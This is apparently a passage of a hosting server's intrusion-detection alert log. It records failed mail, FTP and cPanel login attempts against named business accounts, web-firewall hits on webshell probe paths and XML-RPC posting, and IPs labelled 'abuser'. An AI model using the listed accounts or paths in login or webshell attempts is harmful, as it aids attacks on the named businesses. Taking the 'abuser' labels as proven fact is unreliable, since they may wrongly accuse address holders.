2026-01-30 19:48:06 dovecot_login authenticator failed for H=(UuIMal) [141.98.11.82]:60195: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:48:16 dovecot_login authenticator failed for H=(nIUUKuLA5) [178.16.54.138]:60239: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.218.101
country_id: 1269750
description:
2026-01-30 19:48:13 dovecot_login authenticator failed for H=([182.79.218.101]) [182.79.218.101]:59541: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.90.34.90
country_id: 2328926
description:
2026-01-30 19:48:29 dovecot_login authenticator failed for H=([102.90.34.90]) [102.90.34.90]:42389: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:49:56 dovecot_login authenticator failed for H=(x6Otmki9na) [178.16.54.138]:53738: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:49:32 dovecot_login authenticator failed for H=(5UfHyw0rk4) [141.98.11.82]:59362: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:49:08 dovecot_login authenticator failed for H=(bDJumoJ) [178.16.54.138]:58475: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:50:12 dovecot_login authenticator failed for H=(xulXNU) [141.98.11.82]:53391: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:50:14 dovecot_login authenticator failed for H=(lNKvQD) [178.16.54.138]:56174: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.179
country_id: 6252001
description:
2026-01-30 19:51:12 dovecot_plain authenticator failed for H=(chiss) [192.81.229.179]:57150: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 19:51:28 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:44701: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.34.70.2
country_id: 2510769
description:
2026-01-30 19:51:35 dovecot_login authenticator failed for H=2.red-83-34-70.dynamicip.rima-tde.net [83.34.70.2]:42068: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.84.92.45
country_id: 1655842
description:
2026-01-30 19:51:59 dovecot_login authenticator failed for H=([115.84.92.45]) [115.84.92.45]:52616: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:51:06 dovecot_login authenticator failed for H=(Pp2fCByiJ) [178.16.54.138]:54172: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:51:18 dovecot_login authenticator failed for H=(Ol9PcavI) [141.98.11.82]:62093: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:52:12 dovecot_login authenticator failed for H=(qvBw3jWUD) [178.16.54.138]:62925: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.22.68.213
country_id: 1835841
description:
2026-01-30 19:53:11 dovecot_login authenticator failed for H=([59.22.68.213]) [59.22.68.213]:49441: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:53:19 dovecot_login authenticator failed for H=(rCtUHU) [141.98.11.82]:52817: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.210.107
country_id: 3923057
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=849737 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.253.10.61
country_id: 1835841
description:
2026-01-30 19:53:22 dovecot_login authenticator failed for H=([211.253.10.61]) [211.253.10.61]:51031: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.48.52
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=39921515046027 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:53:14 dovecot_login authenticator failed for H=(0vxLiwg40) [178.16.54.138]:64779: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:54:03 dovecot_login authenticator failed for H=(RPEMt1yPRo) [178.16.54.138]:59317: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:54:50 dovecot_login authenticator failed for H=(FrbN6ouXMO) [178.16.54.138]:63894: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:54:43 dovecot_login authenticator failed for H=(1sNfHxya) [141.98.11.82]:58322: 535 Incorrect authentication data (set_id=evonne@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:55:16 dovecot_login authenticator failed for H=(4dYN3rQnYR) [178.16.54.138]:63891: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.96.209.82
country_id: 2589581
domain: nexuscollection.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74183.nexuscollection.com||ServerName:nexuscollection.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:254414f95e5c8a57b69b78877c2128fe36ba517a||Title:0xf466a493||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:56:05 dovecot_login authenticator failed for H=(8YZpV6rL) [178.16.54.138]:58237: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.107.125
country_id: 1814991
description:
2026-01-30 19:56:56 dovecot_login authenticator failed for H=([111.206.233.34]) [123.118.107.125]:57334: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-01-30 19:57:16 dovecot_login authenticator failed for H=([65.20.205.197]) [65.20.205.197]:59088: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:57:26 dovecot_login authenticator failed for H=(0y2XRuEmSo) [178.16.54.138]:54576: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 19:58:55 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:38694: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.203.28
country_id: 1831722
description:
2026-01-30 19:58:54 dovecot_login authenticator failed for H=([36.37.203.28]) [36.37.203.28]:33422: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.246.5
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.aoto.com.my/product.php?category&sub HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:58:32 dovecot_login authenticator failed for H=(qwKPIqcGv) [178.16.54.138]:58240: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 19:59:27 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:37492: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.13
country_id: 1269750
description:
2026-01-30 19:59:30 dovecot_login authenticator failed for H=(nsg-corporate-13.230.187.122.airtel.in) [122.187.230.13]:58498: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:59:28 dovecot_login authenticator failed for H=(jSJahwq08) [178.16.54.138]:50786: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 19:59:42 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:1835: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-30 19:59:26 dovecot_login authenticator failed for H=([80.227.102.242]) [80.227.102.242]:60953: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:00:38 dovecot_login authenticator failed for H=(22hcen) [178.16.54.138]:49533: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-01-30 20:01:49 dovecot_login authenticator failed for H=([103.133.175.82]) [103.142.184.55]:37753: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:01:19 dovecot_login authenticator failed for H=(Tul6Wo) [178.16.54.138]:51322: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:02:08 dovecot_login authenticator failed for H=(HaomRPK) [178.16.54.138]:57564: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.94.115.164
country_id: 1814991
description:
2026-01-30 20:02:17 dovecot_login authenticator failed for H=([218.94.115.164]) [218.94.115.164]:42300: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.214.78
country_id: 1269750
description:
2026-01-30 20:02:19 dovecot_login authenticator failed for H=([125.20.249.39]) [128.185.214.78]:43584: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.56.40.171
country_id: 1269750
domain: nobledec.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14646.nobledec.com||ServerName:nobledec.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f70930cc7367d75c0f699c63db787d694dac1abe||Title:0x838bd53c||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-01-30 20:02:31 dovecot_login authenticator failed for H=([128.185.253.122]) [128.185.253.122]:34076: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:03:09 dovecot_login authenticator failed for H=(PPTx3w) [178.16.54.138]:60075: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:03:13 dovecot_login authenticator failed for H=(SDQUur6VsX) [178.16.54.138]:65226: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-30 20:03:07 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:5311: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.29.241
country_id: 1835841
description:
2026-01-30 20:03:17 dovecot_login authenticator failed for H=([112.160.29.241]) [112.160.29.241]:50873: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.252.62
country_id: 1210997
description:
2026-01-30 20:03:32 dovecot_login authenticator failed for H=([103.115.252.60]) [103.115.252.62]:35742: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:04:05 dovecot_login authenticator failed for H=(qsdReozy) [178.16.54.138]:59982: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 20:04:15 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.64.206
country_id: 1269750
description:
2026-01-30 20:04:30 dovecot_login authenticator failed for H=(nsg-corporate-113.254.185.122.airtel.in) [122.186.64.206]:36834: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 20:04:41 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:39358: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.118
country_id: 1269750
description:
2026-01-30 20:04:48 dovecot_login authenticator failed for H=([125.18.154.73]) [182.95.226.118]:51832: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.174.142.122
country_id: 6252001
description:
2026-01-30 20:05:30 dovecot_login authenticator failed for H=(qagi) [107.174.142.122]:55018: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.99.182
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=435053 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:05:03 dovecot_login authenticator failed for H=(ldVEzk6b) [178.16.54.138]:57534: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 20:05:04 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:44884: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:06:37 sv3 pure-ftpd[3388435]: (?@156.245.205.68) [WARNING] Authentication failed for user [langkawitravels]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:06:32 sv3 pure-ftpd[3388435]: (?@156.245.205.68) [INFO] New connection from 156.245.205.68


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:06:59 sv3 pure-ftpd[3388750]: (?@156.245.205.68) [WARNING] Authentication failed for user [test]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:06:31 dovecot_login authenticator failed for H=(3mHo9njB) [178.16.54.138]:64920: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:06:55 dovecot_login authenticator failed for H=(MJ64KeDKS) [178.16.54.138]:53731: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:07:08 dovecot_login authenticator failed for H=(ztqe5Ba) [178.16.54.138]:65285: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:15 sv3 pure-ftpd[3388863]: (?@156.245.205.68) [WARNING] Authentication failed for user [langkawitravels]


plugin: ossec
rule: 11307
name: Multiple connection attempts from same source
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:03 sv3 pure-ftpd[3388815]: (?@156.245.205.68) [INFO] New connection from 156.245.205.68


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:09 sv3 pure-ftpd[3388863]: (?@156.245.205.68) [INFO] New connection from 156.245.205.68


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.59.11.85
country_id: 1668284
description:
2026-01-30 20:07:37 dovecot_login authenticator failed for H=116-59-11-85.emome-ip.hinet.net [116.59.11.85]:44920: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.245.78
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=881760 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-30 20:07:59 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:46241: 535 Incorrect authentication data


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 156.245.205.68
country_id: 1819730
description:
Jan 30 20:07:03 sv3 pure-ftpd[3388769]: (?@156.245.205.68) [WARNING] Authentication failed for user [ftp]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.137.66.82
country_id: 1835841
description:
2026-01-30 20:07:47 dovecot_login authenticator failed for H=([125.137.66.82]) [125.137.66.82]:1635: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.225.4
country_id: 1269750
description:
2026-01-30 20:08:35 dovecot_login authenticator failed for H=([203.129.225.4]) [203.129.225.4]:32848: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:08:08 dovecot_login authenticator failed for H=(5iXjTA9) [178.16.54.138]:65393: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.30.21
country_id: 1562822
description:
2026-01-30 20:08:08 dovecot_login authenticator failed for H=([27.71.30.21]) [27.71.30.21]:12014: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
2026-01-30 20:08:25 dovecot_login authenticator failed for H=([37.208.46.130]) [37.208.46.130]:38767: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.100.253
country_id: 1269750
description:
2026-01-30 20:08:42 dovecot_login authenticator failed for H=(abts-mum-static-253.100.170.122.airtelbroadband.in) [122.170.100.253]:37195: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 20:08:55 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:53523: 535 Incorrect authentication data (set_id=fadilah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.182
country_id: 1668284
description:
2026-01-30 20:08:00 dovecot_login authenticator failed for H=([101.13.2.182]) [101.13.2.182]:53696: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:09:26 dovecot_login authenticator failed for H=(dbdJ7f) [178.16.54.138]:56593: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.21.115
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=578354 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.149.67
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=40431514882203 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.183
country_id: 1269750
description:
2026-01-30 20:09:12 dovecot_login authenticator failed for H=(nsg-corporate-183.230.187.122.airtel.in) [122.187.230.183]:42816: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 20:09:20 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:17929: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.212.74
country_id: 1835841
description:
2026-01-30 20:10:04 dovecot_login authenticator failed for H=([183.98.212.74]) [183.98.212.74]:51028: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:10:25 dovecot_login authenticator failed for H=(KC7at7f6PW) [178.16.54.138]:64459: 535 Incorrect authentication data (set_id=plenipotentiaries@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:10:26 dovecot_login authenticator failed for H=(2ynKVuvC) [178.16.54.138]:60552: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/radiation.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.232.184
country_id: 1814991
description:
2026-01-30 20:10:46 dovecot_login authenticator failed for H=([120.234.232.184]) [120.234.232.184]:50202: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-30 20:10:54 dovecot_login authenticator failed for H=([182.79.202.89]) [182.95.230.142]:46388: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.75.254.157
country_id: 3017382
description:
[2026-01-30 20:10:17 +0800] info [cpaneld] 51.75.254.157 - plomalit "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user plomalit (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.56.10
country_id: 1668284
description:
2026-01-30 20:10:19 dovecot_login authenticator failed for H=221-120-56-10.emome-ip.hinet.net [221.120.56.10]:48556: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.170
country_id: 1269750
description:
2026-01-30 20:10:29 dovecot_login authenticator failed for H=([182.95.185.170]) [182.95.185.170]:34782: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.210.73.33
country_id: 3469034
description:
2026-01-30 20:10:13 dovecot_login authenticator failed for H=(189-108-224-67.customer.tdatabrasil.net.br) [191.210.73.33]:57322: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:11:13 dovecot_login authenticator failed for H=(YE7E580R) [178.16.54.138]:49665: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.74.128.55
country_id: 1643084
description:
2026-01-30 20:11:18 dovecot_plain authenticator failed for H=(738K4S3IJ) [36.74.128.55]:50297: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 20:11:31 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:12:05 dovecot_login authenticator failed for H=(3TeM8H8ns) [178.16.54.138]:51787: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.192.123.125
country_id: 1668284
description:
2026-01-30 20:12:34 dovecot_login authenticator failed for H=123-192-123-125.dynamic.kbronet.com.tw [123.192.123.125]:54098: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.32.163.238
country_id: 953987
description:
2026-01-30 20:12:55 dovecot_login authenticator failed for H=([102.32.163.238]) [102.32.163.238]:39215: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.178.26
country_id: 298795
description:
2026-01-30 20:13:00 dovecot_login authenticator failed for H=([188.59.178.26]) [188.59.178.26]:47219: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
